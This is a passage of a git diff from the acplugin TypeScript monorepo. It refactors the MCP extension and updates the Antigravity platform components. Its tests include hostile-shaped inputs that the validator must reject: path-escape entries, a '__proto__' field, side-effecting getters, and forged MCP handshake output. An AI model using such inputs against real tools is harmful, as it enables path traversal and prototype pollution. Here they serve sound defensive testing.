McpJsonOptions = JsonObject; + /** MCP Extension 工厂当前接受的公开配置字段。 */ -const MCP_OPTION_FIELDS = new Set(['include']); +const MCP_OPTION_FIELDS = new Set(['include', 'compile']); /** * 拒绝宽类型变量传入的未知 Extension 工厂字段。 @@ -53,7 +61,7 @@ function validateOptions(options: McpExtensionOptions): void { * @param include 配置作者提供的可选 ID 数组。 * @returns 省略时返回 undefined,否则返回去重后的只读集合。 */ -function normalizeInclude(include: McpExtensionOptions['include']): ReadonlySet | undefined { +function normalizeInclude(include: McpExtensionOptions['include']): readonly string[] | undefined { if (include === undefined) return undefined; if (!Array.isArray(include)) @@ -68,54 +76,53 @@ function normalizeInclude(include: McpExtensionOptions['include']): ReadonlySet< throw new TypeError(`MCP include contains duplicate ID "${id}".`); result.add(id); } - return result; + return Object.freeze([...result].sort()); } /** - * 创建端到端拥有 MCP 作者格式、Bundle 和官方 Adapter 的品牌化 Extension。 + * 创建端到端拥有 MCP 作者格式、Bundle 和官方 Contributor 的品牌化 Extension。 * * @param options 可选的 MCP Server ID 白名单。 * @returns 参与 Core 固定生命周期的 MCP Extension。 */ export function mcp( options: McpExtensionOptions = {}, -): AcpluginExtension { +): AcpluginExtension { validateOptions(options); - /** 每个 Extension 实例独占且不可被作者随后修改的 include 集合。 */ + /** factory 边界复制 include,compile 由 Core defineExtension 深度复制。 */ const include = normalizeInclude(options.include); - return defineExtension({ - name: EXTENSION_NAME, + /** 规范化后交给 Core 的 Extension options。 */ + const normalized: McpJsonOptions = { + ...(include === undefined ? {} : { include }), + ...(options.compile === undefined ? {} : { compile: options.compile as PortableNodeCompileOptions & JsonObject }), + }; + return defineExtension({ + id: 'mcp', apiVersion: '1', - /** 扫描 Extension 独占的 `src/mcp` 作者格式。 */ - discover: context => discoverMcpServers(context, include), - /** 在 Bundle 前验证远程安全策略与本地入口边界。 */ - validate: (context, discovered) => discovered === undefined - ? undefined - : validateMcpServers(context, discovered), - /** HTTP 声明无需加载 Bundler;只有实际 stdio 资源才动态引入 Rolldown。 */ - build: async (context, discovered) => { - if (discovered === undefined) - return Object.freeze({ servers: Object.freeze([]) }); - if (discovered.servers.every(server => server.definition.transport === 'http')) { - return Object.freeze({ - servers: Object.freeze(discovered.servers.map(server => Object.freeze({ - id: server.id, - definition: server.definition, - }))), - }); - } - /** - * 本地实现出现时才加载独立发布的重型构建入口。 - * - * URL 形式让只内联 HTTP 验证路径的消费者无需把 Rolldown 纳入自身构建图;正式 - * Extension tarball 始终同时携带 bundler.mjs。 - */ - const bundlerUrl = new URL('./bundler.mjs', import.meta.url); - /** 独立入口导出的本地 Bundle 与协议 smoke 实现。 */ - const { buildMcpServers } = await import(bundlerUrl.href) as typeof import('./bundler.js'); - return buildMcpServers(context, discovered); + /** Core 复制并冻结的作者配置。 */ + options: normalized, + /** MCP Extension 独占的作者资源根。 */ + resourceRoots: ['mcp'], + /** 每个 BuildSession 从 setup integrations 派生不可变平台快照。 */ + createSession({ options: sessionOptions }) { + /** 当前 Session 选中的 Server ID 集合。 */ + const normalized = sessionOptions as McpExtensionOptions; + /** include 白名单只在当前 Session 内使用。 */ + const selected = normalized.include === undefined + ? undefined + : new Set(normalized.include); + /** 当前 Session 共享的 portable-node 编译参数。 */ + const compile = normalized.compile; + return { + /** 扫描 Extension 独占的 `src/mcp` 作者格式。 */ + discover: context => discoverMcpServers(context, selected), + /** 在 Bundle 前验证远程安全策略与本地入口边界。 */ + validate: (context, discovered) => validateMcpServers(context, discovered), + /** HTTP-only 状态不会调用 Build Service;本地 stdio 统一委托给 Core。 */ + build: async (context, validated) => ({ state: await buildMcpServers(context, validated, compile) }), + contributors: createMcpContributors(), + }; }, - adapters: createMcpAdapters(), }); } diff --git a/packages/extensions/mcp/src/sorting.ts b/packages/extensions/mcp/src/sorting.ts new file mode 100644 index 0000000..2ab9e53 --- /dev/null +++ b/packages/extensions/mcp/src/sorting.ts @@ -0,0 +1,4 @@ +/** 使用与区域设置无关的 UTF-16 code-unit 顺序。 */ +export function compareCodeUnits(left: string, right: string): number { + return left < right ? -1 : left > right ? 1 : 0; +} diff --git a/packages/extensions/mcp/src/types.ts b/packages/extensions/mcp/src/types.ts index 70ebd1e..7ad89bf 100644 --- a/packages/extensions/mcp/src/types.ts +++ b/packages/extensions/mcp/src/types.ts @@ -38,13 +38,8 @@ export interface BearerMcpAuth { /** 规范远程 MCP 支持的认证策略。 */ export type McpAuth = NoMcpAuth | OAuthMcpAuth | BearerMcpAuth; -/** 由 defineMcpServer 注入且不出现在作者输入中的私有品牌。 */ -const mcpServerBrand: unique symbol = Symbol('acplugin.mcp-server'); - /** 远程 HTTP MCP Server 的平台中立静态描述。 */ export interface HttpMcpServer { - /** 仅由 defineMcpServer 注入的名义类型品牌。 */ - readonly [mcpServerBrand]: true; /** 固定为远程 HTTP 传输。 */ readonly transport: 'http'; /** Server 的完整 HTTPS 或开发期 loopback URL。 */ @@ -57,47 +52,13 @@ export interface HttpMcpServer { /** 由作者提供完整实现的本地 stdio MCP Server 描述。 */ export interface StdioMcpServer { - /** 仅由 defineMcpServer 注入的名义类型品牌。 */ - readonly [mcpServerBrand]: true; /** 固定为本地 stdio 传输。 */ readonly transport: 'stdio'; - /** 相对于当前 MCP 目录的入口,默认 `./server.ts`。 */ + /** 相对于当前 MCP 目录的安全 POSIX 入口,默认 `server.ts`。 */ readonly entry?: string; /** 传给 Server 进程的公开字面量或运行时环境变量。 */ readonly env?: Readonly>; } /** 远程 HTTP 与本地 stdio 组成的规范 MCP Server 联合类型。 */ -export type McpServerDefinition = HttpMcpServer | StdioMcpServer; - -/** 配置作者提供的 MCP 定义,不包含框架私有品牌。 */ -export type McpServerInput - = | Omit - | Omit; - -/** - * 为 MCP Server 定义提供联合类型推断,并注入不可枚举的运行时品牌。 - * - * @param definition 作者提供的远程声明或本地实现配置。 - * @returns 冻结且只能由当前包识别的 MCP Server 定义。 - */ -export function defineMcpServer(definition: McpServerInput): McpServerDefinition { - /** 使用浅副本隔离作者随后对顶层字段的替换。 */ - const server = { ...definition } as McpServerInput & { [mcpServerBrand]?: true }; - Object.defineProperty(server, mcpServerBrand, { value: true, enumerable: false }); - return Object.freeze(server) as McpServerDefinition; -} - -/** - * 判断未知导出是否由当前包的 defineMcpServer 工厂创建。 - * - * @param value TypeScript 描述文件加载后的未知默认导出。 - * @returns 私有品牌存在且基础对象形态有效时返回 true。 - */ -export function isMcpServerDefinition(value: unknown): value is McpServerDefinition { - if (value === null || typeof value !== 'object') - return false; - /** 读取私有 Symbol 品牌所需的安全索引视图。 */ - const candidate = value as Record; - return candidate[mcpServerBrand] === true; -} +export type McpServer = HttpMcpServer | StdioMcpServer; diff --git a/packages/extensions/mcp/test/mcp.test.ts b/packages/extensions/mcp/test/mcp.test.ts index 3a00e4b..b9c1b0d 100644 --- a/packages/extensions/mcp/test/mcp.test.ts +++ b/packages/extensions/mcp/test/mcp.test.ts @@ -2,9 +2,11 @@ import { spawn } from 'node:child_process'; import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; +import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; -import type { BuildResult, RunProjectOptions } from '@tokenroll/acplugin'; -import mcp, { defineMcpServer, EXTENSION_NAME } from '../src/index.js'; +import type { BuildReport, RunProjectOptions } from '@tokenroll/acplugin'; +import mcp, { EXTENSION_NAME } from '../src/index.js'; +import { compareCodeUnits } from '../src/sorting.js'; /** 当前测试文件所在仓库的绝对根目录。 */ const repositoryRoot = path.resolve(import.meta.dirname, '../../../..'); @@ -20,6 +22,9 @@ const claudeCodeEntry = path.join(repositoryRoot, 'packages/platforms/claude-cod /** MCP 生命周期测试显式配置的 Codex Platform 构建入口。 */ const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); +/** 真实 MCP SDK package root,测试工程通过正常 package-manager symlink 使用。 */ +const mcpSdkRoot = path.resolve(path.dirname(fileURLToPath(import.meta.resolve('@modelcontextprotocol/sdk/server/index.js'))), '../../..'); + /** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ const temporaryRoots: string[] = []; @@ -48,16 +53,16 @@ interface ProjectFixtureOptions { } /** - * 在原生 Node ESM 子进程中运行公开 API,确保私有品牌只加载一个主包实例。 + * 在原生 Node ESM 子进程中运行公开 API,确保共享 registry brand 只绑定一个主包实例。 * * @param options 可 JSON 序列化的项目运行选项。 * @param environment 测试构建阶段显式加入的环境变量。 - * @returns 公开 API 产生的结构化 BuildResult。 + * @returns 公开 API 产生的结构化 BuildReport。 */ async function runProject( options: RunProjectOptions, environment: Readonly> = {}, -): Promise { +): Promise { /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ const source = ` import { runProject } from ${JSON.stringify(acpluginEntry)}; @@ -80,7 +85,7 @@ try { /** 子进程返回的成功结果或安全异常摘要。 */ const payload = JSON.parse(execution.stdout) as { readonly ok: boolean; - readonly result?: BuildResult; + readonly result?: BuildReport; readonly name?: string; readonly message?: string; }; @@ -127,7 +132,7 @@ async function executeNode( } /** - * 在临时工程中创建可由 Jiti 和 Rolldown 共同解析的 Extension 包入口。 + * 在临时工程中创建可由统一 Module Service 和 Rolldown 共同解析的 Extension 包入口。 * * @param root 临时工程根目录。 */ @@ -145,6 +150,28 @@ async function writeExtensionProxy(root: string): Promise { path.join(packageRoot, 'index.mjs'), `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, ); + /** 主包与 SDK 代理保持与真实 tarball 相同的 package identity。 */ + const acpluginRoot = path.join(root, 'node_modules/@tokenroll/acplugin'); + await fs.mkdir(acpluginRoot, { recursive: true }); + await fs.writeFile(path.join(acpluginRoot, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin', version: '1.0.0', type: 'module', exports: { '.': './index.mjs', './sdk': './sdk.mjs' }, + })); + await fs.writeFile(path.join(acpluginRoot, 'index.mjs'), `export * from ${JSON.stringify(acpluginEntry)};\n`); + await fs.writeFile(path.join(acpluginRoot, 'sdk.mjs'), `export * from ${JSON.stringify(path.join(repositoryRoot, 'packages/acplugin/dist/sdk.mjs'))};\n`); + for (const [name, entry] of [ + ['@tokenroll/acplugin-platform-claude-code', claudeCodeEntry], + ['@tokenroll/acplugin-platform-codex', codexEntry], + ] as const) { + /** 当前官方 Platform 的测试代理目录。 */ + const platformRoot = path.join(root, 'node_modules', name); + await fs.mkdir(platformRoot, { recursive: true }); + await fs.writeFile(path.join(platformRoot, 'package.json'), JSON.stringify({ name, version: '1.0.0', type: 'module', exports: './index.mjs' })); + await fs.writeFile(path.join(platformRoot, 'index.mjs'), `export * from ${JSON.stringify(entry)}; export { default } from ${JSON.stringify(entry)};\n`); + } + /** pnpm 依赖 symlink 是合法 package 边界,不属于作者源码 symlink。 */ + const sdkRoot = path.join(root, 'node_modules/@modelcontextprotocol/sdk'); + await fs.mkdir(path.dirname(sdkRoot), { recursive: true }); + await fs.symlink(mcpSdkRoot, sdkRoot, 'dir'); } /** @@ -187,23 +214,23 @@ async function createProject(options: ProjectFixtureOptions = {}): Promise { } await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` import mcp from '@tokenroll/acplugin-extension-mcp'; -import claudeCode from ${JSON.stringify(claudeCodeEntry)}; -import codex from ${JSON.stringify(codexEntry)}; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; export default { name: 'mcp-fixture', version: '1.0.0', @@ -249,20 +276,16 @@ afterEach(async () => { }); describe('MCP Extension', () => { - it('exposes branded definitions, filters resources, and rejects invalid options', async () => { + it('exposes plain descriptor types, filters resources, and rejects invalid options', async () => { /** 公开工厂创建的默认 MCP Extension。 */ const extension = mcp(); - /** 公开辅助函数创建的品牌化远程定义。 */ - const definition = defineMcpServer({ transport: 'http', url: 'https://example.com/mcp' }); expect(EXTENSION_NAME).toBe('@tokenroll/acplugin-extension-mcp'); - expect(extension.name).toBe(EXTENSION_NAME); - expect(extension.adapters.map(adapter => adapter.platform)).toEqual([ - 'claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi', - ]); + expect(extension.id).toBe('mcp'); + expect(extension.resourceRoots).toEqual(['mcp']); expect(Object.isFrozen(extension)).toBe(true); - expect(Object.isFrozen(definition)).toBe(true); expect(() => mcp({ include: ['docs', 'docs'] })).toThrow('duplicate ID'); expect(() => mcp({ include: ['Not-Kebab'] })).toThrow('lowercase kebab-case'); + expect(() => mcp({ include: ['mcp-é'] })).toThrow('lowercase kebab-case'); expect(() => mcp({ unknown: true } as never)).toThrow('Unknown MCP option'); /** include 只选择远程 Server 的真实工程。 */ @@ -275,6 +298,97 @@ describe('MCP Extension', () => { .toHaveProperty('docs.url', 'https://mcp.example.com/mcp'); }); + it('uses locale-independent code-unit ordering for deterministic internal maps', () => { + /** 非 ASCII 样本证明排序不委托给宿主 locale 或 ICU。 */ + const values = ['é', 'z', 'ä', 'a']; + expect(values.sort(compareCodeUnits)).toEqual(['a', 'z', 'ä', 'é']); + }); + + it('rejects non-enumerable descriptor accessors without evaluating them', async () => { + /** 不可枚举 getter 不能绕过 plain descriptor 的无行为数据边界。 */ + const root = await createProject({ + local: false, + remote: `(() => { + const value = { transport: 'http', url: 'https://mcp.example.com/mcp' }; + Object.defineProperty(value, 'hidden', { get() { throw new Error('MUST_NOT_RUN'); } }); + return value; + })() as never`, + }); + /** discover 以稳定错误码拒绝,并且原始 getter 文本不进入诊断。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); + expect(JSON.stringify(result.diagnostics)).not.toContain('MUST_NOT_RUN'); + }); + + it('rejects non-enumerable unknown descriptor fields', async () => { + /** data property 即使不可枚举也必须保留到 HTTP Server Schema 检查。 */ + const root = await createProject({ + local: false, + remote: `(() => { + const value = { transport: 'http', url: 'https://mcp.example.com/mcp' }; + Object.defineProperty(value, 'hidden', { value: true }); + return value; + })() as never`, + }); + /** 隐藏字段不能因 Module Service 快照规则而消失。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_FIELD_UNKNOWN' })); + }); + + it('rejects array accessors, custom fields, Symbols and __proto__ fields without executing accessors', async () => { + /** nested array getter 写 stdout;若被执行会直接破坏子进程 JSON 协议并使测试失败。 */ + const accessorRoot = await createProject({ + local: false, + remote: `(() => { + const scopes = []; + Object.defineProperty(scopes, '0', { get() { process.stdout.write('GETTER_EXECUTED'); return 'docs:read'; } }); + Object.defineProperty(scopes, 'length', { value: 1 }); + const value = { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; + Object.defineProperty(value, '__proto__', { value: true }); + return value; + })() as never`, + }); + /** 快照必须在执行 getter 前拒绝整个 descriptor。 */ + const accessor = await runProject({ cwd: accessorRoot, command: 'validate', mode: 'production' }); + + expect(accessor.success).toBe(false); + expect(accessor.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); + + /** 类似索引的自定义字段也不能被 snapshot 静默忽略。 */ + const fieldRoot = await createProject({ + local: false, + remote: `(() => { + const scopes = ['docs:read']; + Object.defineProperty(scopes, '01', { value: 'docs:write' }); + return { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; + })() as never`, + }); + /** 伪索引必须在 discover 数据边界失败。 */ + const field = await runProject({ cwd: fieldRoot, command: 'validate', mode: 'production' }); + + expect(field.success).toBe(false); + expect(field.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_FIELD_UNKNOWN' })); + + /** 字符串字段检查不能遗漏数组自身携带的 Symbol。 */ + const symbolRoot = await createProject({ + local: false, + remote: `(() => { + const scopes = ['docs:read']; + Object.defineProperty(scopes, Symbol.for('hidden'), { value: true }); + return { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; + })() as never`, + }); + /** Symbol 不能进入纯 JSON descriptor State。 */ + const symbol = await runProject({ cwd: symbolRoot, command: 'validate', mode: 'production' }); + + expect(symbol.success).toBe(false); + expect(symbol.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); + }); + it('builds remote and local Servers once without reading or leaking Secret values', async () => { /** 同时覆盖 HTTP、stdio、环境引用和第三方许可的工程。 */ const root = await createProject(); @@ -356,7 +470,7 @@ describe('MCP Extension', () => { auth: { type: 'bearer', env: 'INVALID-NAME' }, headers: { 'X-Secret': { value: 'public', env: 'PRIVATE_TOKEN' } }, } as never`, - mcpOptions: `{ include: ['docs', 'missing'] }`, + mcpOptions: `{ include: ['docs'] }`, }); /** 远程安全策略产生的结构化失败结果。 */ const remote = await runProject({ cwd: remoteRoot, command: 'validate', mode: 'production' }); @@ -365,8 +479,12 @@ describe('MCP Extension', () => { expect.objectContaining({ code: 'MCP_HTTPS_REQUIRED' }), expect.objectContaining({ code: 'MCP_BEARER_INVALID' }), expect.objectContaining({ code: 'MCP_VALUE_SOURCE_INVALID' }), - expect.objectContaining({ code: 'MCP_INCLUDE_MISSING' }), ])); + /** 单独工程验证 include 指向不存在资源时的诊断。 */ + const includeRoot = await createProject({ local: false, mcpOptions: `{ include: ['missing'] }` }); + /** 执行 include fixture 并读取稳定诊断。 */ + const include = await runProject({ cwd: includeRoot, command: 'validate', mode: 'production' }); + expect(include.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_INCLUDE_MISSING' })); /** 使用目录逃逸入口的本地定义。 */ const localRoot = await createProject({ @@ -379,6 +497,115 @@ describe('MCP Extension', () => { expect(local.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_ENTRY_ESCAPE' })); }); + it('enforces exact transport, auth, URL, and stdio entry variants', async () => { + /** HTTP 不能携带 stdio 字段,none auth 不能携带 bearer 字段。 */ + const httpRoot = await createProject({ + local: false, + remote: `{ transport: 'http', url: 'https://mcp.example.com/mcp', entry: 'server.ts', env: {}, auth: { type: 'none', env: 'TOKEN' } } as never`, + }); + /** 跨判别分支字段必须在 Extension validate 阶段失败。 */ + const http = await runProject({ cwd: httpRoot, command: 'validate', mode: 'production' }); + expect(http.success).toBe(false); + expect(http.diagnostics.filter(diagnostic => diagnostic.code === 'MCP_FIELD_UNKNOWN').length).toBeGreaterThanOrEqual(3); + + /** bearer 与 oauth 认证分支各自拒绝另一分支的字段。 */ + for (const auth of [ + `{ type: 'bearer', env: 'TOKEN', scopes: ['docs:read'] }`, + `{ type: 'oauth', scopes: ['docs:read'], env: 'TOKEN' }`, + ]) { + /** 当前认证分支交叉字段的独立 HTTP fixture。 */ + const authRoot = await createProject({ + local: false, + remote: `{ transport: 'http', url: 'https://mcp.example.com/mcp', auth: ${auth} } as never`, + }); + /** exact discriminated union 必须在领域 validate 阶段拒绝交叉字段。 */ + const authResult = await runProject({ cwd: authRoot, command: 'validate', mode: 'production' }); + expect(authResult.success).toBe(false); + expect(authResult.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_FIELD_UNKNOWN' })); + } + + /** stdio 不能携带 HTTP 字段或任何 HTTP auth。 */ + const stdioRoot = await createProject({ + remote: false, + local: `{ transport: 'stdio', entry: 'server.ts', url: 'https://mcp.example.com', headers: {}, auth: { type: 'bearer', env: 'TOKEN' } } as never`, + }); + /** 顶层 transport exact union 不依赖 TypeScript 静态检查。 */ + const stdio = await runProject({ cwd: stdioRoot, command: 'validate', mode: 'production' }); + expect(stdio.success).toBe(false); + expect(stdio.diagnostics.filter(diagnostic => diagnostic.code === 'MCP_FIELD_UNKNOWN').length).toBeGreaterThanOrEqual(3); + + /** development 也只允许 HTTPS 或 loopback HTTP,不能放行其他 scheme。 */ + const schemeRoot = await createProject({ local: false, remote: `{ transport: 'http', url: 'ftp://localhost/mcp' }` }); + /** 非 HTTP(S) scheme 必须产生稳定 URL 失败。 */ + const scheme = await runProject({ cwd: schemeRoot, command: 'validate', mode: 'development' }); + expect(scheme.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_URL_INVALID' })); + + /** 文档化的 canonical entry 和 development loopback URL 都合法。 */ + const validRoot = await createProject({ remote: `{ transport: 'http', url: 'http://127.0.0.1:3000/mcp' }`, local: `{ transport: 'stdio', entry: 'server.ts' }` }); + /** validate 不执行 stdio smoke,但应完整通过作者 schema。 */ + const valid = await runProject({ cwd: validRoot, command: 'validate', mode: 'development' }); + expect(valid.success).toBe(true); + + /** dot、空 segment、反斜线和父目录 spelling 都不能被静默 normalize。 */ + for (const entry of ['./server.ts', '.', 'nested//server.ts', 'nested\\server.ts', '../server.ts', '/server.ts']) { + /** 每个非法 spelling 使用独立工程,避免诊断相互掩盖。 */ + const root = await createProject({ remote: false, local: `{ transport: 'stdio', entry: ${JSON.stringify(entry)} }` }); + /** 路径语法错误必须与真实缺失文件区分。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: entry.startsWith('/') || entry.includes('../') ? 'MCP_ENTRY_ESCAPE' : 'MCP_ENTRY_INVALID', + })); + expect(result.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MCP_ENTRY_MISSING' })); + } + }); + + it('accepts a complete server implemented with the official MCP SDK', async () => { + /** SDK Server 提供真实 initialize 协商和 tools/list handler。 */ + const root = await createProject({ + remote: false, + serverSource: ` +import { Server } from '@modelcontextprotocol/sdk/server/index.js'; +import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; +import { ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; +const server = new Server({ name: 'sdk-fixture', version: '1.0.0' }, { capabilities: { tools: {} } }); +server.setRequestHandler(ListToolsRequestSchema, async () => ({ tools: [] })); +await server.connect(new StdioServerTransport()); +`, + }); + /** 真实 SDK 响应必须通过同一 Core Execution Host smoke。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success, JSON.stringify(result)).toBe(true); + expect(result.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED' })); + }); + + it('rejects protocol-shaped output that is not a valid MCP handshake', async () => { + /** 所有 case 都会正常退出并打印 JSON,差异只在 JSON-RPC/MCP shape。 */ + const validInitialize = { jsonrpc: '2.0', id: 1, result: { protocolVersion: '2025-11-25', capabilities: {}, serverInfo: { name: 'fixture', version: '1.0.0' } } }; + /** 标准空 tool list 响应。 */ + const validTools = { jsonrpc: '2.0', id: 2, result: { tools: [] } }; + /** 旧实现会误接受的响应及各类 envelope/result 反例。 */ + const cases: readonly (readonly unknown[])[] = [ + [{ id: 1, result: {} }, { id: 2, result: {} }], + [validInitialize, validInitialize, validTools], + [{ jsonrpc: '2.0', id: 1, error: { code: -32_000, message: 'failed' } }, validTools], + [{ ...validInitialize, jsonrpc: '1.0' }, validTools], + [{ jsonrpc: '2.0', id: 1, result: 'initialized' }, validTools], + [validInitialize, { jsonrpc: '2.0', id: 2, result: { tools: [{ name: 'broken' }] } }], + ]; + for (const messages of cases) { + /** Fixture 不解析输入,只伪造旧 validator 所需的两行 JSON。 */ + const stdout = `${messages.map(message => JSON.stringify(message)).join('\n')}\n`; + /** 每个反例独立编译和执行,证明失败发生在真实 Extension build path。 */ + const root = await createProject({ remote: false, serverSource: `process.stdout.write(${JSON.stringify(stdout)});\n` }); + /** 伪 handshake 不得形成可提交 Platform candidate。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED', phase: 'compile' })); + } + }); + it('rejects local bundles that fail the MCP protocol smoke in both build modes', async () => { /** mode 表示当前必须执行真实 initialize/tools-list 探测的构建模式。 */ for (const mode of ['development', 'production'] as const) { @@ -393,7 +620,7 @@ describe('MCP Extension', () => { expect(result.committed).toBe(false); expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED', - phase: 'build', + phase: 'compile', })); await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); } @@ -410,8 +637,8 @@ describe('MCP Extension', () => { expect(result.success).toBe(false); expect(result.committed).toBe(false); expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'EXTENSION_HOOK_FAILED', - phase: 'build', + code: 'BUILD_UNRESOLVED_IMPORT', + phase: 'compile', })); }); }); diff --git a/packages/extensions/mcp/tsdown.config.ts b/packages/extensions/mcp/tsdown.config.ts index 133e8ce..bcb3c54 100644 --- a/packages/extensions/mcp/tsdown.config.ts +++ b/packages/extensions/mcp/tsdown.config.ts @@ -1,12 +1,7 @@ import { defineConfig } from 'tsdown'; -import { fileURLToPath } from 'node:url'; - /** MCP Extension 骨架保持主包为 Peer Dependency。 */ export default defineConfig({ - entry: { - index: fileURLToPath(new URL('./src/index.ts', import.meta.url)), - bundler: fileURLToPath(new URL('./src/bundler.ts', import.meta.url)), - }, + entry: './src/index.ts', format: ['esm'], platform: 'node', target: 'node20', diff --git a/packages/extensions/mcp/vitest.config.ts b/packages/extensions/mcp/vitest.config.ts new file mode 100644 index 0000000..945b885 --- /dev/null +++ b/packages/extensions/mcp/vitest.config.ts @@ -0,0 +1,22 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +/** MCP 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +export default defineConfig({ + resolve: { + alias: [ + { + find: /^@tokenroll\/acplugin\/sdk$/, + replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), + }, + { + find: /^@tokenroll\/acplugin$/, + replacement: fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core$/, + replacement: fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + }, + ], + }, +}); diff --git a/packages/platforms/antigravity/package.json b/packages/platforms/antigravity/package.json index d3b0f69..08a17c3 100644 --- a/packages/platforms/antigravity/package.json +++ b/packages/platforms/antigravity/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin-platform-antigravity", - "version": "0.0.1-beta", - "description": "Antigravity Platform adapter for acplugin.", + "version": "0.0.2-beta", + "description": "Antigravity Platform integration for acplugin.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#antigravity-platform", diff --git a/packages/platforms/antigravity/src/components.ts b/packages/platforms/antigravity/src/components.ts index a6c228d..f96dfe4 100644 --- a/packages/platforms/antigravity/src/components.ts +++ b/packages/platforms/antigravity/src/components.ts @@ -1,33 +1,35 @@ import { - bytesArtifact, markdownWithFrontmatter, - type ArtifactInput, + type AssetService, + type CanonicalProject, + type CompatibilityInput, + type DiagnosticService, + type PackageAssetInput, type PlatformComponentValidationContext, - type PlatformGenerateContext, - type PlatformPrepareContext, - type PluginProject, -} from '@tokenroll/acplugin'; +} from '@tokenroll/acplugin/sdk'; -/** Antigravity 1.0 暂不开放未经官方文档确认的 Component 专属字段。 */ +/** Antigravity 当前不开放未经官方文档确认的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set(); /** 最终 Antigravity Skill 命名空间中的一项规范来源。 */ interface GeneratedSkillIdentity { - /** 最终目录 ID。 */ readonly id: string; - /** 用于诊断的规范 Component 身份。 */ readonly subject: string; } -/** - * 校验 Antigravity Component 专属字段,阻止 raw Frontmatter 逃逸。 - * - * @param context Core 规范化并冻结后的字段校验上下文。 - */ -export function validateAntigravityComponentFields(context: PlatformComponentValidationContext): void { - for (const field of Object.keys(context.fields)) { +/** Antigravity base Package 的 Component 转换结果。 */ +export interface AntigravityComponentPackage { + readonly assets: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; +} + +/** 校验 Antigravity Component namespace,不允许 raw Frontmatter 逃逸。 */ +export function validateAntigravityComponent(context: PlatformComponentValidationContext): void { + /** fields 是 Scanner 已复制冻结的平台 namespace。 */ + const fields = context.component.platforms.antigravity ?? {}; + for (const field of Object.keys(fields)) { if (!COMPONENT_FIELDS.has(field)) { - context.reportDiagnostic({ + context.diagnostics.report({ code: 'ANTIGRAVITY_COMPONENT_FIELD_UNKNOWN', severity: 'error', message: `Unknown Antigravity ${context.component.kind} field "${field}".`, @@ -37,35 +39,29 @@ export function validateAntigravityComponentFields(context: PlatformComponentVal } } -/** - * 列出全部规范 Component 最终占用的 Antigravity Skill ID。 - * - * @param project 已完成规范扫描的 Plugin 工程。 - * @returns 保持 Component 类型与扫描顺序的生成身份。 - */ -function generatedSkillIdentities(project: PluginProject): readonly GeneratedSkillIdentity[] { - return [ - ...project.skills.map(skill => ({ id: skill.id, subject: `skill:${skill.id}` })), - ...project.commands.map(command => ({ id: `command-${command.id}`, subject: `command:${command.id}` })), - ...project.agents.map(agent => ({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), - ]; +/** @returns 全部 canonical Component 最终占用的 Antigravity Skill identity。 */ +function generatedSkillIdentities(project: CanonicalProject): readonly GeneratedSkillIdentity[] { + return Object.freeze([ + ...project.skills.map(skill => Object.freeze({ id: skill.id, subject: `skill:${skill.id}` })), + ...project.commands.map(command => Object.freeze({ id: `command-${command.id}`, subject: `command:${command.id}` })), + ...project.agents.map(agent => Object.freeze({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), + ]); } -/** - * 在 prepare 阶段拒绝规范 ID 与 fallback ID 的大小写不敏感冲突。 - * - * @param context Antigravity Platform prepare 上下文。 - */ -export function validateGeneratedSkillIds(context: 